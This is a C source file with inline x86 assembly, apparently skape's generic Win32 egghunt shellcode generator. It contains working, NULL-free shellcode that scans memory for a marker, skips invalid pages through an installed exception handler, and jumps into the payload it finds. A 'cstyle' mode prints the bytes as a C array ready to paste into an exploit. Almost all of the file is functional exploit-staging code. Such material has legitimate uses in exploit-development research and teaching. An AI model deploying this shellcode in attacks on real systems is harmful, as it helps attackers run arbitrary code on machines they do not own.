/* * Generic egghunt shellcode for win32 * * Description: * * Searches memory for an egg. This is useful when you have limited * space for shellcode, but can store more shellcode elsewhere in memory, * yet you don't know exactly where it will be at. * * Targets: * * 95/98/ME/NT/2K/XP * * Usage: * * $ egghunt.exe * Usage: egghunt.exe [test | cstyle] [6 byte hex egg] * * To generate usable code (with an egg of 41 42 41 42 41 42): * * $ egghunt.exe cstyle 41 42 41 42 41 42 * * To test the code: * * $ egghunt.exe test * * Features/Quirks: * * * No NULLs. * * Disclaimer: * * The author cannot be held responsible for how this code is used. * * Compile: * * cl egghunt.c /link /debug * * skape * mmiller@hick.org */ /* * Technical notes * * This egg hunter establishes an exception handler that silently ignores * invalid addresses and skips over them. * */ #include #define EGG_OFFSET 0x4 #define SET_EGG(sc, egg) *(unsigned long *)((sc) + EGG_OFFSET) = (egg) void __declspec(naked) egghunt_begin() { __asm { egghunt: jmp get_exception_handler startup: pop ecx // Set ecx to the exception handler mov eax, 0x42904290 // Set ecx to the egg that's being searched for push ecx // Our handler __emit 0x6a // push byte -0xff __emit 0xff xor ebx, ebx // Zero ebx mov fs:[ebx], esp // Establish our exception handler search_loop_begin_pre: search_loop_start: push 0x2 // push byte +0x2 pop ecx // pop ecx mov edi, ebx // Set edi to ebx repe scasd // Repeat twice and compare edi and edi+4 to eax jnz search_loop_failed_one // If ZF is not set our comparison was unsuccessful, jump again jmp edi // Jump into it search_loop_failed_page: or bx, 0x0fff // or ebx with PAGE_SIZE-1 search_loop_failed_one: inc ebx // Increment it to the next pointer jmp search_loop_start // Repeat our loop get_exception_handler: call startup // Call backwards to get the exception handler's address exception_handler: __emit 0x6a // push byte +0xc __emit 0x0c pop ecx // ecx = 0xc mov eax, [esp + ecx] // Get the context argument mov cl, 0xb8 // ecx = 0xb8 add dword ptr [eax + ecx], 0x06 // Add 7 to the eip where the exception occured pop eax // Grab ret off the stack add esp, 0x10 // Pop off the argument to our exception handler push eax // Push back the actual return address xor eax, eax // Return zero ret // Return back } } void __declspec(naked) egghunt_end() { // These first 6 bytes make up our egg __asm { __emit 0x90 __emit 0x42 __emit 0x90 __emit 0x42 __emit 0x90 __emit 0x42 __emit 0x90 __emit 0x42 } printf("Egg has been found.\n"); exit(0); } void __declspec(naked) egghunt_end_end() { __asm ret } int main(int argc, char **argv) { if (argc == 1) { fprintf(stdout, "Usage: %s [test | cstyle] [4 byte egg hex (eg: 0x41424142)]\n", argv[0]); return 0; } if (!strcmp(argv[1], "test")) egghunt_begin(); else if (!strcmp(argv[1], "cstyle")) { unsigned char *start = (unsigned char *)((unsigned char *)egghunt_begin); unsigned char *stop = (unsigned char *)((unsigned char *)egghunt_end); unsigned char *copy = NULL; unsigned char *c = NULL; unsigned long x = 0, length, y = 0, egg = 0x50905090; // Calculate the actual address in memory of the begin/end function based off their relative jmp points. start += *(unsigned long *)((unsigned char *)egghunt_begin + 1) + 5; stop += *(unsigned long *)((unsigned char *)egghunt_end + 1) + 5; length = stop - start; if (!(copy = (unsigned char *)malloc(length))) { printf("allocation failed\n"); return 0; } memcpy(copy, start, length); if (argc >= 3) egg = strtoul(argv[2], NULL, 16); SET_EGG(copy, egg); fprintf(stdout, "// %lu byte egghunt shellcode (egg=0x%.8x)\n\n", length, egg); fprintf(stdout, "unsigned char egghunt[] = \""); for (x = 0; x < length; x++) fprintf(stdout, "\\x%2.2x", copy[x]); fprintf(stdout, "\";\n\n"); free(copy); } else fprintf(stdout, "%s: invalid option\n", argv[0]); return 1; }